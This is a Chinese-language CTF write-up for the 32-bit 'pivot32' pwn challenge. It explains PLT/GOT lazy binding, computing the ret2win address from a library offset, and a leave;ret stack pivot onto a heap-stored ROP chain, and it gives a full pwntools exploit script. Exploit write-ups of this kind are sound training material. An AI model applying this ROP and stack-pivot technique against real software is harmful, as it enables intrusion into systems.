CTF-PWN-pivot32 (ROP+plt+GOT+栈帧转移)

程序概述

首先本程序是一个32位程序,checksec后观察发现只开启了NX。
由于题目中使用了libpivot.so动态链接库,并且重要的得到flag的函数也在libpivot.so函数中,因此考虑用plt和got的映射关系,然后根据函数在.so文件中的偏移来找到cat_flag函数的地址,从而栈溢出控制程序流程。

有一个小问题在于题目中给的栈溢出的缓冲区比较小,很显然无法存下我们所需要的所有ROP链。注意到程序要求我们输入两次,第一次的输入保存在一个空间比较大的堆中(malloc),所以可以考虑在堆中存入shellcode,在栈中用某种方法把eip导向堆中相应位置。

具体步骤

根据逆向分析,我们知道了可以泄露的函数 foothold_function() 。根据延时绑定技术,当我们在调用如 func@plt() 的时候,系统才会将真正的 func() 函数地址写入到GOT表的 func.got.plt 中,然后 func@plt()根据 func.got.plt 跳转到真正的 func() 函数上去。

至于如何将程序控制流导向对应的堆地址中,我们需要用到leave|ret指令。
leave指令可以拆解为如下步骤:

mov esp, ebp
pop ebp

因此该题的栈缓冲区我们应该这样布置:

---------------------------------
		buffer_padding
---------------------------------
			fake_ebp
---------------------------------
			leave_ret
---------------------------------

buffer_padding显然是为了填补缓冲区,造成栈溢出。
leave_ret指令拆解为mov esp, ebp; pop ebp; ret之后,可以看mov 操作是可以对栈的位置进行操控的。所以我们只需要把fake_ebp用malloc的地址减去4,这样经过pop ebp之后,ret的地址就刚好在我们在堆上布置的shellcode上了。

exp:

from pwn import *

p=process("./pivot32")
elf=ELF('./pivot32')
lib_elf=ELF('./libpivot32.so')

func_plt=elf.plt['foothold_function']
func_got_plt=elf.got['foothold_function']
foothold_sym=lib_elf.symbols['foothold_function']
ret2win_sym=lib_elf.symbols['ret2win']
offset=int(ret2win_sym-foothold_sym)

leave_ret=0x080486a8
mov_eax_eax=0x080488c4
pop_eax=0x080488c0
pop_ebx=0x08048571
add_eax_ebx=0x080488c7
call_eax=0x080486a3

p.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
fake_ebp=int(p.recv(10),16)

payload1=p32(func_plt)
payload1+=p32(pop_eax)
payload1+=p32(func_got_plt)
payload1+=p32(mov_eax_eax)
payload1+=p32(pop_ebx)
payload1+=p32(offset)
payload1+=p32(add_eax_ebx)
payload1+=p32(call_eax)

p.recvuntil('> ')
p.sendline(payload1)

payload2='A'*40
payload2+=p32(fake_ebp-4)
payload2+=p32(leave_ret)

p.recvuntil('> ')
p.sendline(payload2)
p.interactive()

你可能感兴趣的:(CTF-PWN)